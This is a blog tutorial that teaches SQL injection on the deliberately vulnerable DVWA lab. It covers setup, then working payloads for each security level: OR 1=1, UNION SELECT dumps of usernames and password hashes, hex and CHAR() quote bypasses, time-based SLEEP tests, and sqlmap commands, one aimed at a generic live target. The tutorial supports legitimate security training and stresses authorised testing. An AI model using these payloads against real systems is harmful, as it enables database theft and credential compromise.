
Master SQL injection with this hands-on tutorial using DVWA. Step-by-step walkthrough from beginner to advanced techniques with real examples and code.
An exhaustive analysis of 5,308 Model Context Protocol (MCP) servers, introducing the mcpgrade-1.4.0 assessment framework and remediation blueprint.
4 min read
An exhaustive 2026 technical guide to API security assessments. Master OWASP API Top 10, BOLA, BFA, mass assignment, GraphQL security, and automated recon tools.
5 min read
Mastering SQL injection requires more than just reading about it—you need hands-on practice. This sql injection tutorial walks you through testing and exploiting SQL injection vulnerabilities using DVWA (Damn Vulnerable Web Application), the industry-standard practice platform for ethical hackers and penetration testers.
Whether you're learning how to do sql injection for the first time or refining your techniques, this practical guide covers everything from basic exploitation to advanced bypass methods. By the end, you'll have real-world experience identifying and exploiting SQL injection vulnerabilities in a safe, legal environment.
Theory alone won't make you proficient at identifying SQL injection vulnerabilities. Here's why practical sql injection practice is essential:
Before diving in, make sure you understand the fundamentals covered in our beginner's guide to SQL injection and familiarize yourself with different SQL injection types.
Damn Vulnerable Web Application (DVWA) is an open-source PHP/MySQL web application designed to be intentionally vulnerable. Created by security professional Robin Wood (digininja), DVWA provides a legal environment to practice common web vulnerabilities including:
DVWA features four security levels:
This progressive difficulty makes DVWA ideal for learning sql injection testing systematically.
Before starting this sql injection example walkthrough, you'll need to set up DVWA. Here's how:
You'll need:
The easiest installation methods:
# Pull the DVWA Docker image
docker pull vulnerables/web-dvwa
# Run DVWA container
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Access DVWA at http://localhost
cd C:\xampp\htdocs # Windows
# cd /Applications/XAMPP/htdocs # Mac
git clone https://github.com/digininja/DVWA.git
cd DVWA
config/config.inc.php.dist to config/config.inc.phphttp://localhost/DVWA# Install dependencies (Ubuntu/Debian)
sudo apt update
sudo apt install apache2 mysql-server php php-mysqli php-gd libapache2-mod-php
# Clone DVWA
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chown -R www-data:www-data DVWA
# Configure
cd DVWA/config
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php # Update database credentials
# Restart Apache
sudo systemctl restart apache2
http://localhost/DVWA (or your server IP)admin / passwordadmin / password after database setupYou're now ready to start your sql injection lab practice!
For the official installation guide and troubleshooting, visit the DVWA GitHub repository.
Let's start with the basics. DVWA's Low security level has no input validation or protection mechanisms—perfect for understanding core SQL injection concepts.
1 and click "Submit"Expected output:
ID: 1
First name: admin
Surname: admin
This tells us the application queries a user database and displays results.
Let's test if the input is vulnerable. Try entering:
1' OR '1'='1
Result: You should see multiple users displayed (admin, Gordon, Hack, Pablo, Bob).
What happened? The backend query likely looks like:
SELECT first_name, surname FROM users WHERE user_id = '$id';
Your input turned it into:
SELECT first_name, surname FROM users WHERE user_id = '1' OR '1'='1';
Since '1'='1' is always TRUE, the OR condition returns all users. Congratulations—you've found a SQL injection vulnerability!
Before we can extract data using UNION attacks (covered in our union-based SQL injection guide), we need to know how many columns the original query returns.
Try:
1' ORDER BY 1#
Result: Works (displays data)
Try:
1' ORDER BY 2#
Result: Works
Try:
1' ORDER BY 3#
Result: Error! "Unknown column '3' in 'order clause'"
Conclusion: The query returns 2 columns (first_name and surname).
Note: The # symbol comments out the rest of the query in MySQL.
Now we can use UNION SELECT to extract database information:
1' UNION SELECT NULL, VERSION()#
Result displays the MySQL version (e.g., "5.7.38-0ubuntu0.18.04.1").
1' UNION SELECT NULL, DATABASE()#
Result: "dvwa" (the database name)
1' UNION SELECT NULL, USER()#
Result displays the database user (e.g., "root@localhost")
Let's find all tables in the database using the information_schema:
1' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = 'dvwa'#
Result shows table names:
Let's see what columns exist in the users table:
1' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 'users'#
Result shows columns:
Now extract usernames and password hashes:
1' UNION SELECT user, password FROM users#
Result displays:
ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
...
You've successfully extracted all usernames and password hashes! These are MD5 hashes. You could crack them using:
hashcat or johnFor example, the admin password hash 5f4dcc3b5aa765d61d8327deb882cf99 decrypts to password.
For cleaner output, concatenate multiple columns:
1' UNION SELECT NULL, CONCAT(user, ':', password) FROM users#
Result:
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
hack:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithny:5f4dcc3b5aa765d61d8327deb882cf99
Much cleaner! This technique is essential for exfiltrating data efficiently.
Now that you've mastered Low security, let's tackle Medium. Change the security level:
In Medium security, DVWA implements basic protection:
mysql_real_escape_string() is applied (escapes quotes)When you try your previous payload 1' OR '1'='1, it doesn't work. The single quotes are escaped.
The trick? You don't need quotes for numeric IDs!
Try:
1 OR 1=1
Result: All users are displayed! The backend query becomes:
SELECT first_name, surname FROM users WHERE user_id = 1 OR 1=1;
No quotes needed, so the escaping doesn't help.
Use the same techniques, but without quotes around numeric values:
1 ORDER BY 2
1 UNION SELECT NULL, DATABASE()
1 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = DATABASE()
Note: We use DATABASE() instead of 'dvwa' to avoid quotes.
1 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 0x7573657273
What's 0x7573657273? It's the hexadecimal representation of "users". This bypasses the quote restriction!
To convert strings to hex:
echo -n "users" | xxd -p
# Result: 7573657273
Add 0x prefix: 0x7573657273
1 UNION SELECT user, password FROM users
Success! You've bypassed Medium security.
Another technique is using CHAR() function:
1 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = CHAR(117,115,101,114,115)
Where CHAR(117,115,101,114,115) = "users" in ASCII.
Ready for a real challenge? Set security level to High and return to SQL Injection.
High security implements:
High security uses a separate input page. Click "Click here to change your ID" which opens a popup.
The vulnerability is still there, but you need to:
1 in the popup and submitvulnerabilities/sqli/Once you intercept the request, you can test payloads:
1' OR '1'='1
Interestingly, High security might still be vulnerable to the same techniques as Low security, just delivered differently.
For better control, use Burp Suite:
127.0.0.1:8080id parameter:id=1' UNION SELECT user, password FROM users#&Submit=Submit
Burp Suite is essential for advanced SQL injection testing. Learn more about professional testing tools on our tools page.
If output isn't directly visible, you might need blind SQL injection techniques:
1' AND SLEEP(5)#
If the response delays 5 seconds, the injection works. This is time-based blind SQL injection.
For comprehensive coverage of blind techniques, see our blind SQL injection guide.
While DVWA is excellent, diversifying your sql injection practice across multiple platforms builds well-rounded skills:
URL: portswigger.net/web-security
Features:
Best For: Structured learning with expert guidance
URL: hackthebox.com
Features:
Best For: Gamified learning and certification prep
URL: tryhackme.com
Features:
Best For: Complete beginners wanting guided experiences
URL: github.com/Audi-1/sqli-labs
Features:
Best For: Comprehensive manual testing practice
URL: owasp.org/www-project-webgoat/
Features:
Best For: Understanding vulnerabilities in business context
| Platform | Difficulty | Cost | Best Feature |
|---|---|---|---|
| DVWA | Beginner | Free | Simple setup, clear progression |
| PortSwigger | All levels | Free | Professional training quality |
| HackTheBox | Intermediate+ | Free/Paid | Realistic scenarios |
| TryHackMe | Beginner-Int | Free/Paid | Guided learning paths |
| SQLi Labs | All levels | Free | Extensive variety (75+ labs) |
| WebGoat | Beginner-Int | Free | Business context |
Practice across multiple platforms to encounter different database systems (MySQL, PostgreSQL, MSSQL, Oracle) and protection mechanisms.
Successful penetration testers combine manual testing with automated tools. Here are the essential sql injection testing tools:
Description: Crafting payloads by hand using browser DevTools or intercepting proxies.
Pros:
Cons:
Best For: Learning, complex applications, WAF bypass
Description: The most powerful open-source SQL injection automation tool.
Installation:
# Linux/Mac
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py
# Or via package manager
sudo apt install sqlmap # Debian/Ubuntu
brew install sqlmap # macOS
Basic Usage:
# Test a URL parameter
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=...; security=low"
# Enumerate databases
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." --dbs
# Dump specific table
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." -D dvwa -T users --dump
# Full automatic exploitation
sqlmap -u "http://target.com/page?id=1" --batch --forms --crawl=2
Pros:
Cons:
Best For: Time-saving automation, comprehensive testing, CTF competitions
Description: Professional web application security testing platform with powerful proxy features.
Editions:
Key Features for SQLi:
Best For: Professional testing, detailed analysis, learning request/response flow
| Tool | Type | Difficulty | Detection Risk | Best Use Case |
|---|---|---|---|---|
| Manual | Manual | High | Low | Learning, bypass, complex apps |
| SQLMap | CLI | Medium | High | Automation, comprehensive testing |
| Burp Suite | GUI | Medium | Low-Medium | Professional testing, analysis |
| jSQL | GUI | Low | High | Beginners, visual learners |
| Browser DevTools | Manual | Low | Very Low | Quick testing, learning |
Explore more security tools on our dedicated tools page.
Avoid these pitfalls during your sql injection tutorial journey:
Mistake: Copying payloads blindly without understanding what they do.
Solution: Always think about how your input modifies the SQL query. Draw it out:
-- Original
SELECT * FROM users WHERE id = '[INPUT]'
-- Your input: 1' OR '1'='1
SELECT * FROM users WHERE id = '1' OR '1'='1'
Mistake: Payload fails because the rest of the query causes syntax errors.
Solution: Always terminate your payload with comment characters:
# or -- (note the space after --)----Example:
1' UNION SELECT NULL, NULL#
Mistake: UNION injection fails with "The used SELECT statements have a different number of columns" error.
Solution: Always determine column count first using ORDER BY:
1' ORDER BY 1# -- Success
1' ORDER BY 2# -- Success
1' ORDER BY 3# -- Error! So there are 2 columns
Mistake: Payload blocked because the ID parameter is numeric, not string-based.
Solution: Drop the quotes:
-- Wrong (when ID is numeric)
1' OR 1=1#
-- Right
1 OR 1=1#
Mistake: Special characters aren't encoded in GET requests, causing payload to fail.
Solution: URL encode special characters:
%20 or +# → %23' → %27" → %22Example:
http://target.com/page?id=1'%20OR%20'1'='1
Burp Suite and browser DevTools handle this automatically.
Mistake: Practicing SQL injection on real websites (illegal!).
Solution: ONLY test on:
Unauthorized testing is a federal crime under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.
Mistake: Discovering vulnerabilities but not recording steps for reports or future reference.
Solution: Document everything:
This is essential for professional penetration testing reports.
Mistake: Not reading SQL error messages that reveal database structure.
Solution: Error messages are goldmines of information:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
This tells you:
Mistake: MySQL payloads won't work on MSSQL or Oracle.
Solution: Learn database-specific syntax:
| Database | String Concat | Comment | Sleep |
|---|---|---|---|
| MySQL | CONCAT() | #, -- | SLEEP(5) |
| PostgreSQL | ` | ` | |
| MSSQL | + | -- | WAITFOR DELAY '00:00:05' |
| Oracle | ` | ` |
Mistake: Extracting usernames/passwords and thinking you're done.
Solution: In real assessments, demonstrate full impact:
LOAD_FILE(), INTO OUTFILE)See our SQL injection cheat sheet for payload templates and database-specific syntax.
Practicing SQL injection is legal ONLY when:
Testing SQL injection on websites without explicit written authorization is illegal under:
Violations can result in:
Always obtain written permission before testing.
Learning timeline varies by depth:
Key factors:
Consistency matters more than intensity. 30 minutes of daily practice outperforms occasional weekend marathons.
Yes! SQL injection is a high-value finding in bug bounty programs:
Typical Payouts:
Popular Platforms:
Important Rules:
LIMIT 1 or synthetic data)Refer to each program's specific rules and OWASP's Web Security Testing Guide for responsible disclosure practices.
Both have their place:
Manual Testing is Better For:
SQLMap is Better For:
Recommended Approach:
Professional penetration testers use both. Manual skills differentiate experts from script kiddies.
Progression path:
Next Steps (covered in this series):
Advanced Topics:
Related Vulnerabilities:
Database-Specific Expertise:
Professional Skills:
Explore more advanced topics in our tutorials section.
Congratulations! You now have hands-on experience with SQL injection testing from basic to advanced techniques using DVWA. You've learned:
✅ How to set up a safe SQL injection lab environment
✅ Step-by-step exploitation techniques for three security levels
✅ Column enumeration and data extraction methods
✅ Bypass techniques for basic security controls
✅ Alternative practice platforms for diverse scenarios
✅ Essential tools (manual, SQLMap, Burp Suite)
✅ Common mistakes to avoid
This tutorial is Article 3 in our comprehensive SQL Injection Mastery series:
Foundation (Complete ✅):
Advanced Techniques (Next Steps):
Reference & Defense:
This Week:
users table on each levelguestbook tableNext Week:
This Month:
Long-Term:
Official Documentation:
Community & Support:
Books (Advanced Reading):
Explore more cybersecurity content:
Remember: Ethical hacking requires both technical skills and moral responsibility. Always practice legally, obtain proper authorization, and use your knowledge to defend, not to harm.
Happy (ethical) hacking! 🛡️
Last Updated: January 2026 | Author: Andrax Pentester / Syed Abrar
An in-depth analysis of Active Directory attack paths in 2026, focusing on assumed-breach models, BloodHound mapping, Kerberos misconfigurations, and escalation from low-privilege domain user
3 min read
Sign in to leave a comment.